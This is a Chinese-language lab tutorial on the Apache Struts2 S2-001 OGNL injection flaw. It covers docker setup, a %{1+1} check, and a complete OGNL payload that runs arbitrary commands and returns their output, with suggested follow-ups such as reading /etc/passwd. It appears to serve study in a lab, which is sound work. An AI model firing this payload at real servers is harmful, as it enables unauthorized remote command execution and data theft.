Apache Struts2 远程代码执行漏洞
Xx 漏洞介绍
Apache Struts2有很多漏洞,该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。
Ax 搭建漏洞环境
使用docker-compose快速搭建环境。
在虚拟机里启动后,就可以访问该IP:8080
Bx 验证
在账号或密码处输入%{1+1},得结果2,这样就验证了此处有S2-001漏洞。
Cx 利用
构建payload,实现任意远程代码执行。
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{“CMD”,”CMD”})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
在 new java.lang.String[]{"CMD","CMD"}
处,可替换需要执行的命令
例如,执行ls命令,第二个参数查看根目录下的文件(/)
查看用户密码
cat /etc/passwd
查看你所需要的一切
uname -a
查看内核版本
cat /proc/meminfo
内存详细信息
这里就随意发挥,需要Linux的熟悉程度,就可以得到你需要的任何信息。
Dx 声明
- 请遵守,爱护《中华人民共和国网络安全法》
- 仅供学习参考!
- 请注明出处!
Ex 参考
[1] http://www.adminxt.com/?p=28
[2] http://vulapps.evalbug.com/s_struts2_s2-001/
[3] https://cwiki.apache.org/confluence/display/WW/S2-001